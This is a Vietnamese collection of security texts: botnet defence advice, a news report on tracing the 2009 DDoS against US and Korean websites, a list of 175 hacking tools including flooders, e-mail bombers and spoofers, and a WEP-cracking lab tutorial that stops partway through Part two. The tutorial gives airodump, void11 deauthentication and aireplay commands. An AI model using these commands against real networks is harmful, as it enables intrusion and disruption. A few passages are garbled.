- Bật chế độ tự động cập nhật đối với hệ điều hành và phần mềm ứng dụng [theo CERT, 2001]
- Thao tác an toàn khi truy nhập mail, web, chat,… như không lưu mật khẩu..
- Sử dụng và cập nhật thường xuyên phần mềm diệt virus phổ biến.
- Sử dụng tường lửa và thiết lập các chế độ hợp lý.


Phát hiện :
- Cổng mặc định của IRC là 6667, cổng này có thể bị thay đổi. Dùng lệnh netstat – an trên cả Windows và Linux để kiểm tra các cổng ra vào mà máy tính đang sử dụng.
Ví dụ :
C:/windows> netstat – an
TCP your.mac hine.ip remote.irc.server.ip :6667 ESTABLISHED
Như trên thì có nghĩa là có kết nối IRC đến remote.irc.server.ip qua cổng 6667.
Các server IRC có thể lắng nghe trên các cổng 6000- 7000A169 4E
Đây cũng là cách để phát hiện các phần mềm gián điệp khác.
- Giám sát băng thông, gói tin trên mạng, các cổng kết nối. Có thể có một vài dấu hiệu như mạng chậm, tỉ lệ gói tin gửi đi và nhận được khác thường,…
- Phần mềm chống virus và phần mềm gián điệp có thể phát hiện ra chúng.
- Trong một số trường hợp có thể dùng các chương trình quét trực tuyến của các hang bảo mật lớn. [theo SYMANTEC]


Xử lý:


- Ngắt kết nối mạng của máy bị nhiễm mã độc, để tránh nguy cơ ảnh hưởng đến các máy cùng mạng.
- Cập nhật phần mềm diệt virus, kiểm tra xem nhà cung cấp hệ điều hành, phần mềm có bản vá hay không ?
- Nếu các chương trình diệt virus không phát hiện ra có thể dùng các công cụ hiển thị các tiến trình của máy tính để phát hiện và diệt bằng tay.
- Nếu trên máy có chứa các thông tin nhay cảm như tài khoản ngân hàng thì cần báo ngay cho nơi quản lý thẻ để tạm ngưng sử dụng hoặc nếu là mật khẩu thì cần đổi lại ngay.
- Nếu không xử lý được thì cần nhờ người có kỹ thuật xử lý.


Đối với quản trị hệ thống
Phòng chống:
- Áp dụng các chính sách bảo mật thông dụng.
- Theo hướng dẫn của nhà cung cấp hệ điều hành, phần mềm ứng dụng nâng cấp và cập nhật bản vá.
- Theo dõi thông tin về các lỗ hổng bảo mật trên các trang bảo mật uy tín, nhận thông tin bảo mật từ các mailing list bugtraq.
- Bật chế độ tự động cập nhật đối với hệ điều hành và phần mềm ứng dụng.
- Thao tác an toàn khi truy nhập mail, web, chat,… như không lưu mật khẩu.
- Sử dụng và cập nhật thường xuyên phần mềm diệt virus phổ biến.
- Sử dụng tường lửa và thiết lập các chế độ hợp lý.
- Cài đặt các phần mềm để giám sát hệ thống, phân tích log file hoạt động và truy nhập của hệ thống.
Phát hiện
- Sử dụng các kỹ thật như đối với người dùng thông thường.
- Thường xuyên giám sát log của hệ thống sử dụng, log của hệ thống giám sát, có cơ chế cảnh báo tự động cho người quản trị như gửi mail,…
- Giám sát mạng, dùng tường lửa chặn các cổng không cần thiết. một tiện ích nhỏ cho phép xem các cổng đóng mở ngoài netstat là fport của McAfee:
http://www.foundstone.com/knowledge/proddesc/fport.html
- Phân tích log của phần mềm bắt gói tin có thể phát hiện ra server và kênh bí mật của kẻ tấn công sử dụng, biết được mật khẩu kết nối IRC mã hóa hay không mã hóa.
- Tiến hành quét toàn bộ các máy tình nghi có chứa mã độc, rà soát, tìm và dỡ bỏ backdoor, rootkit.
- Tham khảo them tài liệu của Dave Dittrich, University of Washington
o “Dissecting Distributed Malware Networks “
url: http://security.isu.edu/ppt/pdfppt/Core02.pdf
o Security Incidents: World-wide distributed DoS and "warez" bot networks (fwd)::Security focus mailing list Date: May 03 2002
url: http://lists.insecure.org/lists/incidents/2002/May/0026.html


Xử lý :
- Sử dụng các kỹ thật như đối với người dùng thông thường.
- Cô lập các máy bị nhiễm sang một phân mạng riêng biệt.
- Lưu trữ và giữ an toàn dữ liệu, logs file của Firewalls, Máy chủ Mail , IDS, DHCP, proxy...
- Xử dụng phần mền bắt gói tin để phân tichs cách thức hoạt động của bot, phát hiện các máy bị lây nhiễm, nguồn gốc của nơi phát lệnh,…
- Liên hệ các trung tâm xử lý sự cố máy tính, các trung tâm an ninh mạng để cùng phối hợp giải quyết.


*
o Xu hướng phát triển của Bot và Botnet

Sử dụng mạng IRC để điều khiển zombie vẫn là một xu hướng lớn trong việc phát hiển các công cụ DDoS của kẻ xấu. Trong tài liệu [CERT, DOS_TRENDS] “Trends in Denial oFf8BS5er0v6icEe4 Att6a9ck4ETechnology” George M. Weaver & Kevin J. Houle đến từ CERT® Coordination Center trình bày rất rõ rang việc xây dụng và điều khiển các botnet sử dụng IRC. Tôi chỉ đưa lại một số điểm chính:.


Khả năng tồn tại – Đây là một vấn đề lớn được các kẻ tấn công rât quan tâm vì chi chí và công sức bỏ ra để xây dụng một botnet lớn là rất lớn. Giao thức Internet Relay Chat là một giao thức phổ biến và được sử dụng rộng rãi. Các mạng IRC công cộng lớn cùng với các dịch vụ tên miền động dyndns.com & no -ip.com được tận dụng làm cho các kênh sử dụng vào mục địch xấu khó bị phát hiện và dễ tùy biến đối với kẻ tấn công. Botnet dựa trên IRC khó bị phát hiện, giám sát và tiêu diệt. Do đó DDoS bằng IRC botbet nguy hiểm hơn DoS truyền thống rất nhiều.


Sự lây nhiễm và lan truyền— số lượng botnet ngày tăng, đồng thời với nó số nút (zombie) của botnet cũng tăng lên. Các botnet ngày càng tinh vi hơn. Các công cụ phát tán cũng tinh vi và nguy hiểm hơn. Đặc biệt là các công cu được phát triển cho phép tự động phát hiện lỗ hổng và lây nhiễm mã độc.


Mục đích sử dụng -- mục đích chính vẫn là DDoS, Spam mail, lấy chộm thông tin cá nhân, làm hệ thống chia sẻ file, phần mềm,…

Bkis xác định nguồn tấn công các website Mỹ, Hàn Quốc

Bkis xác định nguồn tấn công các website Mỹ, Hàn Quốc

Một máy tính ở Anh có khả năng là nguồn gây ra các cuộc DDoS tuần trước. Uỷ ban Truyền thông quốc gia Hàn Quốc (KCC) cho biết sẽ dựa vào phân tích của Bkis để xúc tiến các công việc tiếp theo với Anh.
Image1

Theo Trung tâm an ninh mạng Bách Khoa (Hà Nội), có 166.908 máy tính từ 74 nước trên thế giới được huy động trong cuộc tấn công nhằm vào website của chính phủ Mỹ, Hàn Quốc và một số quốc gia khác.
Sơ đồ hệ thống botnet tấn công DDoS vào website chính phủ Hàn Quốc và Mỹ.
Sơ đồ hệ thống botnet tấn công DDoS vào website chính phủ Hàn Quốc và Mỹ.

Tổ chức cứu hộ khẩn cấp sự cố máy tính của Hàn Quốc (KrCERT) đã đề nghị Bkis trợ giúp phân tích mã độc được dùng trong đợt DDos này và các chuyên gia an ninh mạng của Việt Nam xác định được 8 server điều khiển hệ thống botnet (mạng máy tính ma) cũng như địa chỉ IP của máy chủ gốc (master server) đặt tại Anh.
Ông Nguyễn Minh Đức, Giám đốc Bkis Security, khẳng định đây là lần đầu tiên có một báo cáo tìm ra sự xuất hiện của master server. Phát hiện của Bkis có vài điểm khác biệt với báo cáo của chính phủ Hàn Quốc, trong đó cho rằng mã độc tự động hoạt động mà không cần nhận lệnh từ server điều khiển.
Địa chỉ IP của master server phát động tấn công.

Địa chỉ IP của master server phát động tấn công.

Kết quả cũng trái với nghi vấn trước đó rằng Bắc Triều Tiên đứng đằng sau vụ việc. "Chúng tôi không chắc kẻ tấn công có thực sự ở Anh hay không, hoặc có thể một máy tính của Anh đã bị hack để 'tổng chỉ huy' cuộc khai thác", một thành viên của KCC cho biết.
Cuộc tấn công DDoS kéo dài một tuần từ 4/7 khiến nhiều trang web tê liệt, trong đó có website của Bộ Tài chính, Bộ Giao thông vận tải, Ủy ban thương mại liên bang (Mỹ) và trang chủ của tổng thống Hàn Quốc. Bkis cho biết cứ 3 phút một lần, các máy tính bị nhiễm virus ngẫu nhiên chọn một trong 8 server để nhận lệnh điều khiển. Họ đã kiểm soát được 2 trong số 8 máy chủ nhờ tìm ra server gốc. Master server này chạy hệ điều hành Windows Server 2003, có địa chỉ IP trong dải 195.90.118.x, được đăng ký tại nhà cung cấp Global Digital Broadcast của Anh.

Lê Nguyên

Danh sach HackTool

1) IP Address Scanner
2) IP Calculator
3) IP Converter
4) Port Listener
5) Port Scanner
6) Ping
7) NetStat (2 ways)
8) Trace Route (2 ways)
9) TCP/IP Configuration
10) Online - Offline Checker
11) Resolve Host & IP
12) Time Sync
13) Whois & MX Lookup
14) Connect0r
15) Connection Analysator and protector
16) Net Sender
17) E-mail seeker
18) Net Pager
19) Active and Passive port scanner
20) Spoofer
21) Hack Trapper
22) HTTP flooder (DoS)
23) Mass Website Visiter
24) Advanced Port Scanner
25) Trojan Hunter (Multi IP)
26) Port Connecter Tool
27) Advanced Spoofer
28) Advanced Anonymous E-mailer
29) Simple Anonymous E-mailer
30) Anonymous E-mailer with Attachment Support
31) Mass E-mailer
32) E-mail Bomber
33) E-mail Spoofer
34) Simple Port Scanner (fast)
35) Advanced Netstat Monitoring
36) X Pinger
37) Web Page Scanner
38) Fast Port Scanner
39) Deep Port Scanner
40) Fastest Host Scanner (UDP)
41) Get Header
42) Open Port Scanner
43) Multi Port Scanner
44) HTTP scanner (Open port 80 subnet scanner)
45) Multi Ping for Cisco Routers
46) TCP Packet Sniffer
47) UDP flooder
48) Resolve and Ping
49) Multi IP ping
50) File Dependency Sniffer
51) EXE-joiner (bind 2 files)
52) Encrypter
53) Advanced Encryption
54) File Difference Engine
55) File Comparasion
56) Mass File Renamer
57) Add Bytes to EXE
58) Variable Encryption
59) Simple File Encryption
60) ASCII to Binary (and Binary to ASCII)
61) Enigma
62) Password Unmasker
63) Credit Card Number Validate and Generate
64) Create Local HTTP Server
65) eXtreme UDP Flooder
66) Web Server Scanner
67) Force Reboot
68) Webpage Info Seeker
69) Bouncer
70) Advanced Packet Sniffer
71) IRC server creater
72) Connection Tester
73) Fake Mail Sender
74) Bandwidth Monitor
75) Remote Desktop Protocol Scanner
76) MX Query
77) Messenger Packet Sniffer
78) API Spy
79) DHCP Restart
80) File Merger
81) E-mail Extractor (crawler / harvester bot)
82) Open FTP Scanner
83) Advanced System Locker
84) Advanced System Information
85) CPU Monitor
86) Windows Startup Manager
87) Process Checker
88) IP String Collecter
89) Mass Auto-Emailer (Database mailer; Spammer)
90) Central Server (Base Server; Echo Server; Time Server; Telnet Server; HTTP Server; FTP Server)
91) Fishing Port Scanner (with named ports)
92) Mouse Record / Play Automation (Macro Tool)
93) Internet / LAN Messenger Chat (Server + Client)
94) Timer Shutdown/Restart/Log Off/Hibernate/Suspend/ Control
95) Hash MD5 Checker
96) Port Connect - Listen tool
97) Internet MAC Address Scanner (Multiple IP)
98) Connection Manager / Monitor
99) Direct Peer Connecter (Send/Receive files + chat)
100) Force Application Termination (against Viruses and Spyware)
101) Easy and Fast Screenshot Maker (also Web Hex Color Picker)
102) COM Detect and Test
103) Create Virtual Drives
104) URL Encoder
105) WEP/WPA Key Generator
106) Sniffer.NET
107) File Shredder
108) Local Access Enumerater
109) Steganographer (Art of hiding secret data in pictures)
110) Subnet Calculater
111) Domain to IP (DNS)
112) Get SNMP Variables
113) Internet Explorer Password Revealer
114) Advanced Multi Port Scanner
115) Port Identification List (+port scanner)
116) Get Quick Net Info
117) Get Remote MAC Address
118) Share Add
119) Net Wanderer
120) WhoIs Console
121) Cookies Analyser
122) Hide Secret Data In Files
123) Packet Generator
124) Secure File Splitting
125) My File Protection (Password Protect Files, File Injections)
126) Dynamic Switch Port Mapper
127) Internet Logger (Log URL)
128) Get Whois Servers
129) File Split&Merge
130) Hide Drive
131) Extract E-mails from Documents
132) Net Tools Mini (Client/Server, Scan, ICMP, Net Statistics, Interactive, Raw Packets, DNS, Whois, ARP, Computer's IP, Wake On LAN)
133) Hook Spy
134) Software Uninstaller
135) Tweak & Clean XP
136) Steganographic Random Byte Encryption
137) NetTools Notepad (encrypt your sensitive data)
138) File Encrypter/Decrypter
139) Quick Proxy Server
140) Connection Redirector (HTTP, IRC, ... All protocols supported)
141) Local E-mail Extractor
142) Recursive E-mail Extractor
143) Outlook Express E-mail Extractor
144) Telnet Client
145) Fast Ip Catcher
146) Monitor Host IP
147) FreeMAC (MAC Address Editor)
148) QuickFTP Server (+user accounts support)
149) NetTools Macro Recorder/Player (Keybord and Mouse Hook)
150) Network Protocol Analyzer
151) Steganographic Tools (Picture, Sounds, ZIP Compression and Misc Methods)
152) WebMirror (Website Ripper)
153) GeoLocate IP
154) Google PageRank Calculator
155) Google Link Crawler (Web Result Grabber)
156) Network Adapter Binder
157) Remote LAN PC Lister
158) Fast Sinusoidal Encryption
159) Software Scanner
160) Fast FTP Client
161) Network Traffic Analysis
162) Network Traffic Visualiser
163) Internet Protocol Scanner
164) Net Meter (Bandwidth Traffic Meter)
165) Net Configuration Switcher
166) Advanced System Hardware Info
167) Live System Information
168) Network Profiler
169) Network Browser
170) Quick Website Maker and Web Gallery Creator
171) Remote PC Shutdown
172) Serial Port Terminal
173) Standard Encryptor
174) Tray Minimizer
175) Extra Tools (nmap console & win32 version)

Kỹ thuật dò khóa WEP của mạng WiFi step by step

Kỹ thuật dò khóa WEP của mạng WiFi step by step

Thursday, 22. May 2008, 08:14:00

Hack
Hàng trăm và có thể là hàng nghìn bài báo viết về cách tấn công WEP, nhưng có bao nhiêu người thực sự có thể crack được WEP, những beginner thường nản lòng với những comand của nó và những loại card yêu cầu và những điều phức tạp hơn là không wen với môi trường linux. Trong phần này chúng tôi sẽ hướng dẫn từng bước cách hack WEP.

Bài đọc đầu tiên sẽ giúp các bạn xây dựng một mô hình mô phỏng và hướng dẫn lướt qua những phần của crack WEP, việc tiếp cận một cách tiêu chuẩn hóa và đa dạng để mà bạn có thể tập trung vào những công cụ crack WEP mà không bị cản trở bởi những lỗi hardware hay software.

Toàn bộ quá trình được làm với những software có sẵn và không yêu cầu những hardware đặc biệt chỉ một vài cái laptop với mấy cái card wireless là đủ.
Bài đầu tiên sẽ giúp bạn build một cái lab và hướng dẫn scanport của crac wep, sau hết, các bạn cần kiếm một cái document để tìm hiểu trước khi có thể crack nó
Bài hai sẽ mô tả cách kích hoạt thằng access point để tạo ra traffic và quá trình sử lí dữ liệu sau khi đã capture, sau hai bài này bạn có thể crack được wep key rùi đó.
Bài ba sẽ giúp chúng ta các skill bảo mật nhằm chống lại sự xâm nhập vào wireless.
Mặc dù WEP crack có thể làm được trên cùng một laptop nhưng lý tưởng nhất là bạn nên làm trên hai máy, một máy thực hiện tấn công để kích thích luồng data để đủ lượng data bắt được trong một thời gian ngắn, trong khi đó máy kia sẽ sniff hoặc capture luồng data do máy đầu tạo ra.

Thật ra bạn có thể sử dụng trên một máy với một wireless card, nhưng tui khuyên điều này không nên tại thời điểm mới bắt đầu, nó thường bắt gặp những nhầm lẫn trong những việc bạn đang làm, và tui nhận ra rằng những chương trình audit thường hay gặp một chút không ổn định khi dùng cách này.



chú ý rằng dùng một cái active attack và một cái passive capture sẽ làm tăng cơ hội thành công hơn, và tăng tốc độ quá trình crack bằng cách nó sẽ giúp sinh ra nhiều packet hơn là môi trường bình thường.
và đây là danh sách hardware cần thiết có trong lab của chúng ta:
wireless accesspoint: sẽ là đích ngẳm của chúng ta..hehe..loại nào cũng được
môt laptop với một card wireless có thể sử dụng được: đây sẽ là máy target và không quan trọng cái chipset của thằng wireless card. Vì nó là máy thừa mà..hhihih
hai laptop có card wireless có chipset PRISM 2: một vài chương trình chẳng hạn như kismet có thể hỗ trợ đa dạng các loại wireless card, nhưng tui khuyên là nên dùng card có chipset được nói như trên, bạn có thể sử dụng những loại external có antennaes thì càng good, nhưng không có cũng chẳng sao( it’s up to you).
Trong khi crack WEP key phải có những tool hack chứ..hihihi…tới đây thì các bạn tìm trên mạng nha Auditor security collection CD, hay ra mấy shop bán software tìm nha hoặc xài thằng BACK TRACK đây là phiên bản mới của thằng trên, link down ftp://mirror.switch.ch/mirror/backtrack/bt2final.iso
Việc set up đúng như lab của chúng ta thì rất là quan trọng, bởi vì bạn muốn điều khiển được môi trường bạn làm việc, bạn cũng nên nghĩ tới việc ngăn accident không thể lường trước được tới những access point của hàng xóm chứ đúng không nào, bởi vi trong phần hai một vài attack của chúng ta có thể kick off mấy thằng client của access point đó…hahah nguy hiểm thật, muốn đi tiếp chứ?

Bước đầu tiên là phải config cái lab đã, một target access point và cái thằng laptop dư thừa mình đã nói ở trên, cái access point được cấu hình security với WEP key mà chúng ta sẽ crack, security 64 bit, và nhớ đặt SSID.
Bạn nên note lại những cái bạn vừa cấu hình để sau này còn đối chứng chứ:

MAC address của ACP
SSID
CHANEL
KEY

Sau đó config thằng laptop dư thừa, kết nối bình thường tới thằng accesspoint,nhớ đăng nhập có key đàng hoàng nha.
Sau đó ghi lại cái MAC của thằng dư thừa này.
Tới đây thì mạng WLAN của mình đà được config
Bây giờ shutdown thằng dư thừa đó được rùi:
Đến đây chắc mình phải định nghĩa cho từng thằng laptop thui,sợ các bạn bị nhầm lẫn đó mà

Mạng lab: WLAN
Thằng dư thừa: target computer
laptopA:
laptop B
accesspoint: target ACP

OK vào việc nào: (đi tiếp không)(đủ sức thì đi không đủ thì đừng đua nha)hiihiih
Đã đến lúc config laptopA và B để mà scan WLAN và sniff traffic tấn công để lấy luồng traffic
Trước tiên là cho cái disk hack vào boot from cd (ko bít các bạn có bít làm ko nhỉ) vào cmos chọn first là cd, nhớ là gắn card wireless vào nha
Sau khi đã điều chỉnh độ phân giải thích hợp từ auditor boot menu nó sẽ cài vào RAM
Và bạn sẽ ở màn hình như thế này đây:



hai biểu tượng quan trọng sẽ là program và commandline ở phía dưới bên trái màn hình



trước khi tiếp tục làm bạn nên chắc rằng wirelesscard đã gắn vào đúng và được config bằng auditor:
click vào biểu tượng command line rùi wuýnh nó….hihiihih
IWCONFIG



Trong số những thông tin mà auditor xổ ra hãy chú ý thông số wlan0 vậy là card có chipset PRISM –based card và auditor đã detect được card mạng của bạn rùi đó, bạn có thể cấu hình tương tự với laptopB, xong rùi shutdown …hihiihiiihi, vì bạn sẽ không cần nó cho đến phần hai, nơi mà bạn sẽ học làm sao để kick data cái traffic và sẽ capture bằng laptopA.Đã bắt đầu dùng kismet rùi ( chiến đấu thui)
Đây là công cụ hữu ích để detect WLAN, ACP
Nó cũng capture traffic nhưng có một chương trình hay hơn đó là airodump một phần của aircrack, công cụ rất tốt trong công việc crack WEP cho nên chúng ta sẽ dùng và chắc rằng card wireless đang làm hoạt động để scan wireless và capture traffic.
Vào program icon, sau đó auditor- wireless – scanner – analyzer – và cuối cùng là kismet



Thêm vào đó để scan mạng wireless, kismet sẽ capture dữ liệu vào một file để sau này phân tích, cho nên kismet yêu cầu nơi để lưu file đã được capture, click vào desktop và sau đó ok



Kismet cũng yêu cầu một cái prefix cho file được capture, thay tên mặc định bằng capture.



Khi kismet hoạt động nó sẽ liệt kê tất cả các mạng wireless trong một range, bao gồm cả target ACP bạn đã setup, channel ( giống kênh đào áh),dưới cột CH column, những cái mà bạn ghi lúc nãy đó, check lại xem giống ko?.
Nếu kismet liệt kê nhiều ACP gần cái lab của bạn, thì nên chuyển cái lab ấy ra xa cái ACP của người ta một tí (đụng tới kẻo mang hoạ..hihihi).



Trong khi kismet dang hoạt động bạn sẽ thấy số packet đang thay đổi cho tất cả các ACP ở bên phải màn hình.
Kismet hiện ra tổng số network được tìm thấy, số packet được capture và tổng số packet được encrypted, thậm chỉ cả những target computer đã tắt ngúm đi rùi, thì nó cũng được show ra những packet từ ACP ( vì cứ khoảng vài giây thằng ACP sẽ phát ra đèn báo hiệu và nói ( lạy ông tui ở bụi này…heheh).
Kismet hoạt động trong chế độ autofit nên sẽ không liệt kê đầy đủ các ACP theo thứ tự của nó, nhấn S để sort, ở đây bạn có thể xác định thứ tự sort, nó sẽ dễ nhìn hơn khi ta sort nó.
Nhấn C thì ACP sẽ theo channel



Kismet mặc định sẽ nhảy channel từ 1 tới 11( hiphop…hihi) dùng trỏ chuột để di chuyển highlight tới SSID của bạn và nhấn L kissmet sẽ khoá cái channel của SSID đó,



bạn sẽ chú ý rằng số packet của những ACP có thể vẫn tiếp tục tăng, điếu này là bởi vì các channel sẽ gối lên nhau theo thứ tự.



Bây giờ một điều hợp lý là chúng ta biết kissmet đang hoạt động, chúng ta sẽ xem điều gì sẽ diễn ra khi máy target computer trên mạng bất đầu trao chuyển thông tin,bắt đầu kết nối thằng dư thừa vào mạng trong khi vẫn scan kismet, khi thằng dư thừa boot vào window và kết nối với ACP bạn chú ý rằng một lượng dữ liệu được mã hoá nhanh chóng được kissmet capture, bạn sẽ dùng những gói này để attack trong phần hai.
Tại thời điểm này bạn đã biết cách cơ bản để tiếp cận với crack WEP, 1 ACP, 2 laptop sniff và attack đang hoạt động, và cũng wen với việc tìm đường vào của software trong disk auditor, dùng kismet để tìm ra range wireless.
Phần hai chúng ta sẽ dùng laptop B để kick cái WLAN sinh ra traffic và chúng ta sẽ capture và thực sự crack. Cho đến khi đó bạn đã thực sự quen với việc dùng kismet, tới WLAN và khám phá vài công cụ khác có trong disk auditor.

Phần hai:
ở phần một chúng ta đã chỉ ra cách basic để crack wep, config wlan và hai laptop sniff và attack.
Trong phần này chúng tôi sẽ hướng dẫn làm sao để dùng thêm những công cụ có trong auditor cd để capture traffic và dùng nó để crack wep, chúng tôi cũng hướng dẫn làm sao để deauthentication ( chứng thực lại) và packetreplay để kick WLAN sinh ra traffic là một yếu tố chính để tiết kiệm thời gian crack
Tuy nhiên trước khi bắt đầu, chúng ta hãy làm một vài điểm cần chú ý mà có thể tiết kiệm thời gian và khả năng sử dụng những chương trình
Để sử dụng thành công, bạn cần có những căn bản về thuật ngữ network và những yếu tố căn bản, bạn cũng nên biết cách ping mạng, open command prompt và nhập những command, căn bản về linux thì càng tốt.
Những quy tắc yêu cầu về hardware đã được bàn về ở phần 1
Một mạng WLAN và một thằng dư thừa kết nối với ACP
Và điều quan trọng trong mô hình lab này là không được truy cập vào những ACP của người khác mà không được sự đồng ý của chủ
Cũng chý ý là điều này có thể thực hiện trên chỉ một laptop không nhất thiết là hai máy, nhưng để cho rõ ràng và tránh nhầm lẫn chúng ta nên sử dụng hai máy laptop.
4 tool chính dùng trong phần này là AIRODUMP, VOID11,AIRREPLAY VÀ AIRCRACK đều có trên disk auditor.
AIRODUMP : scan mạng wireless và capture packet vào một nơi nào đó
VOID11: sẽ deauthenticatiom ( chứng thực lại) computer từ ACP , sẽ áp đặt cho chúng kết nối lại với ACP, tạo ARP request ( lấy MAC)
AIRREPLAY: tóm cái ARP request rồi gửi lại tới thằng ACP
AIRCRACK: sẽ lấy những file capture được tạo ra bởi AIRODUMP
ở phần1: bạn đã sử dụng kismet để lấy những thông tin, bây giờ hãy ghi ra giấy để nhớ sau này còn xài.
MAC của ACP
MAC của thằng dư thừa
CHANNEL đang sử dụng của ACP
WEP KEY đã được set up trong ACP
Trong đời thực một vài người muốn break vào trong mạng wireless thông thường lấy những thông tin ( MAC của ACP , channel của ACP, và target computer)
Những điều này gọi là “zero knowledge”, nếu như kẻ tấn công có tất cả các thông tin cần thiết điểu đó được gọi là cuộc tấn công “full knowledge” lúc đó không còn gì là thách thức đối với họ, chúng ta cứ cho rằng chúng ta không bít gì hết và mô tả làm sao để lấy những thông tin cần thiết.
Tìm MAC của ACP thì không có gì khó đối với chúng ta với việc xài thằng kismet, hãy làm tương tự như ở phần một tôi đã hướng dẫn, để lấy được SSID, MAC, và CHANNEL của ACP, vậy là những zero knowledge đã được chuyển qua tất cả các thông tin cần thiết để chạy crack WEP



có vài trường hợp người ta sử dụng giấu cái SSID không cho broadcash ra ngoài nhằm mục đích ngăn chặn một số phần mếm nhưng đối với kismet thì đừng có nằm mơ, nó sẽ liệt kê tất cả những thông tin mà nó capture được.

Tìm MAC của client:
Chúng ta cần một thông tin cuối cùng để bắt đầu quá trình crack, MAC của client kết nối với ACP, quay lai kismet nhấn Q để quay lại menu chính, sau đó nhấn shift + C để liệt kê danh sách MAC của client, MAC sẽ được liệt kê bên khung bên trái



Nếu như bạn không thấy MAC của client thì phải chắc rằng cái thằng dư thừa đã kết nối tới ACP, nếu như không có thì không thể thực hiện các bước tiếp theo, vì lab của chúng ta cần có một client đã kết nối tới ACP.
Capture dữ liệu với AIRODUMP
Không cần nhắc đến tốc độ kinh khủng của nó, nhưng cũng cần phải có đủ packet để làm việc trong quá trình crack WEP, nó có tác dụng capture packet vào một file để sau này phục vụ cho AIRCRACK, chúng ta hãy xem chúng hoạt dộng như thế nào nhá.
Bạn có thể sử dụng laptop nào cũng được cả, nhưng trong lab này chúng ta sử dụng laptopA,
Mở airodump và gõ vào command sau:

Commands for setting up airodump
iwconfig wlan0 mode monitor
iwconfig wlan0 channel THECHANNELNUM
cd /ramdisk
airodump wlan0 cap

Hãy lưu ý rằng thay THECHANNELNUM=SỐ CHANNEL mà ACP bạn đang xài
/ramdisk là nơi data bị capture lưu
nếu như gần nơi bạn có các ACP khác nhưng nếu bạn muốn audit cái ACP của bạn, hãy thêm dòng lệnh như sau ở cuối command trên
airodump wlan0 cap1 MACADDRESSOFAP
điều này sẽ hướng dẫn AIRODUMP chỉ lưu những packet của target ACP
bạn có thể exit AIRODUMP bằng cách nhấn ctrl + C và nhấn ls –l sẽ liệt kê ra các file được lưu và chú ý phần đuôi file là .cab nếu capture thành công nó sẽ chỉ vài kb thôi
phần Ivs:



Trong khi AIRODUMP đang chạy, bạn sẽ thấy MAC của ACP được liệt ra ở BSSID phần bên trái, bạn cũng thấy packet count và Ivs count tăng lên, đây là điều thường diễn ra trong bất kì traffic nào thậm chí cả khi bạn không đang lướt web và nếu như bạn duyệt web hay email trên target computer thì bạn sẽ thấy ở mục IVs tăng lên, IVs là quan trọng nhất nó quyết định bạn có thể crack được hay không, thông thường thì thông số IVs trong khoảng 50.000 tới 200.000 cho 64bit và 200.000 tới 700.000 cho 128 bit.
Bạn cũng phải chú ý rằng ở chế độ traffic bình thường thì IVs không tăng nhanh nó có thể mất một giờ hay thậm chí cả ngày để capture đủ dữ liệu cho việc crack thành công, nhưng may thay chúng ta đã có một công cụ giúp ta làm tăng tốc độ này
Cách nhanh nhất để sinh ra nhiều packet là kick cho thằng WLAN luôn ở chế độ busy, chúng ta có thể thử bằng cách download file hoặc ping từ thằng target tới một địa chỉ nào đó
Vd: ping –t –l 5000 (ip nào đó)
Và tới đây thì VOID11 bắt đầu vào cuộc:
VOID11 được dùng để deauthenticate giữa target computer với ACP, để tạo ra traffic, target computer sẽ bị kick off ra khỏi mạng và tự động kết nối lại với ACP, trong quá trình kết nối lại thì traffic sẽ được sinh ra mà capture



Bắt đàu với laptopB với auditor cd được cho vào,sau đó mở shell và đánh vào lệnh sau:

Commands for setting up a void11 deauth attack
switch-to-hostap
cardctl eject
cardctl insert
iwconfig wlan0 channel THECHANNELNUM
iwpriv wlan0 hostapd 1
iwconfig wlan0 mode master
void11_penetration -D -s MACOFSTATION -B MACOFAP wlan0

Chú ý thay THECHANNELNUM = kênh đang hoạt động trên ACP
MACOFSTATION là MAC của target client và MACOFAP là MAC của ACP
Trong quá trình chạy có thể VOID11 báo một thông báo lỗi nhưng bạn đừng bận tâm ( không ăn nhằm gì tới hoà bình thế giới cả)
Trong khi laptopB đang chạy thì chúng ta hãy xem điều gì sẽ xảy ra trên máy target computer nha, mạng sẽ từ từ chậm xuống thậm chí ngừng hẳn, và vài giây sau sẽ bị ngắt lun ra khỏi mạng ( ác quá ha)
Bạn có thể kiểm tra điều này bằng cách vẫn tiếp tục ping tới từ target tới ACP
Đây là trước khi chạy VOID11 trên máy laptopB



Và trong khi chạy VOID11,nếu bạn stop VOID11 thì ping sẽ trả lại bình thường



Và bạn có thể check một cách cụ thể trên property của card mạng wireless trên target



Và bạn hãy chú ý trên laptopA số IVs tăng lên rất nhanh trong vài giây từ 100 – 200, điếu này xảy ra là vì quá trình kết nối lại của target và ACP
Packet repaly dựa vào AIRREPALY
Trong khi deauthentiace sinh ra traffic, nó thường không đủ tăng tốc quá trình làm cho IVs của chúng ta tăng nhanh, để tăng hữu hiệu tạo ra traffic chúng ta sẽ dùng tới một công cụ đó là replay attack, replay attack hoạt động dựa vào packet bắt được do target sinh ra, sau đó lừa client là nó đã nhận được packet và lặp lại packet một cách thường xuyên hơn bình thường.
Stop deauthenticate attack sau đó mở AIRREPLAY lên sử dụng những capture file, đó là những ARP request



Chúng ta hãy bắt đầu với tình trạng clean, nghĩa là restar hai laptop A,B. và hãy chú ý rằng laptopA chỉ chạy AIRREPLAY với mục đích kick traffic mạng và IVs nhằm tiết kiệm thời gian crack và laptopB đang sử dụng AIRODUMP, hay VOID11 và đang sử dụng AIRCRACK để phục vụ cho việc crack dựa vào những packet đã thu lượm được



Trước tiên chúng ta hãy khởi động AIREPLAY trên máy laptopA và nhập vào các command sau:
Commands to set up aireplay to listen for an ARP packet
switch-to-wlanng
cardctl eject
cardctl insert
monitor.wlan wlan0 THECHANNELNUM
cd /ramdisk

aireplay -i wlan0 -b MACADDRESSOFAP -m 68 -n 68 -d ff:ff:ff:ff:ff:ff

Chú ý switch-to-wlanng và monitor .wlan là những cái đã được tích hợp sẵn trong disk để đơn giàn hoá khi nhập command
thay thế THECHANNELNUM = số channel mà bạn tìm thấy được trong các bước trước
và MACADDRESSOFAP = MAC của ACP
nào bây giờ tới máy target computer bật nó lên kết nối với ACP sau đó sang máy laptopB bật VOID11 và quan sát, ta sẽ thấy rằng tín hiệu mạng của client từ từ giảm xuống và có khi mất hẳn, và bạn cũng thấy rằng AIREPLAY tăng lên rất nhanh, thỉnh thoảng AIREPLAY thông báo một packet tóm được và hỏi bạn có muốn replay nó không



Bạn sẽ muốn một packet match những tiêu chuẩn sau:
• FromDS - 0
• ToDS - 1
• BSSID - MAC Address of the Target AP
• Source MAC - MAC Address of the Target computer
• Destination MAC - FF:FF:FF:FF:FF:FF

